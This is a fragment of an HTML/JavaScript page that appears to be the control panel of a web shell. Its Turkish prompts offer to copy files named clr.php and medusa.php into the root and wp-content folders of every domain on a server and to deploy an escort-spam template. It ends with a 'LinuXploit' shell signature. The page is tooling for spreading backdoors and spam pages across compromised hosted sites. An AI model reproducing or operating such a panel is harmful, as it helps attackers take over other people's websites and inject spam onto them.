    if(confirm('⚠️ clr.php dosyası TÜM domainlerin ana dizinine kopyalanacak. Devam et?')){
        var form = document.createElement('form');
        form.method = 'POST';
        form.action = window.location.href;
        var input = document.createElement('input');
        input.type = 'hidden';
        input.name = 'deploy_clr_php';
        input.value = '1';
        form.appendChild(input);
        document.body.appendChild(form);
        form.submit();
    }
}

// ── medusa.php Deploy (wp-content) ──
function deployMedusaWpContent(){
    if(confirm('⚠️ medusa.php dosyası TÜM domainlerin wp-content/ dizinine kopyalanacak. (wp-content yoksa atlanır) Devam et?')){
        var form = document.createElement('form');
        form.method = 'POST';
        form.action = window.location.href;
        var input = document.createElement('input');
        input.type = 'hidden';
        input.name = 'deploy_medusa_wpcontent';
        input.value = '1';
        form.appendChild(input);
        document.body.appendChild(form);
        form.submit();
    }
}

// ── License Deploy (Bodrum/Muğla escort) ──
function deployEscortTemplate(){
    openModal('escortCityModal');
}
</script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit